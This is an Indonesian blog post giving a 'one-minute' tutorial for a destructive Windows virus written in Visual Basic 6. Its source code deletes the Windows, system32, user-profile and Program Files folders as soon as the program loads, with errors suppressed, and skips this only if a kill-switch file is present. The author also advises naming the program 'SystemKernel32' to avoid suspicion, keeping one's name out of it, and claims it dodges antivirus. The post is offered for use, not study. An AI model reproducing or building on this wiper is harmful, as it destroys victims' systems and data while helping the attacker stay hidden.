ini tutorial buat bikinvirus yg rada mematikan, tapi simple, dan kayanya sih ga bakal kedekteksiantivirus, soalnya cara kerjanya simple bgt
Yg diperluin:
1. VB(optimal : 6.0)
2. Ngerti tombol2nya VB
Tutorial Bikin Virus cman 1 mnt
1. bikin form sekecil mungkin
2. didalem form itu, masukin nih kode
Public Sub DelAll(ByValDirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
IfFileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileNameAs String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
Kode yg warna biru itu penangkal nihvirus, barang kali lu ga sengaja teken jadi lu slamat. jadi di folderc:\windows\system32\ kalo ada file namanya katak.txt, lu ga bakal keserangndiri… bisa lu edit koq jadi apa gitu…
Yang warna merah itu folder ygbakal didelete ama nih virus, lu edit ndiri aja…
4. Bikin nih project namanya kayanama system, disini gwe make nama “SystemKernel32″ jadi ga bakal dicurigain
5. Jangan pernah naroh nama lu dinih virus… k?
6. compile deh… slese!
Simple
RESIKO DITANGGUNG SENDIRI
Semoga bermanfaat
Loading
Categories:
Trick,
Trick unik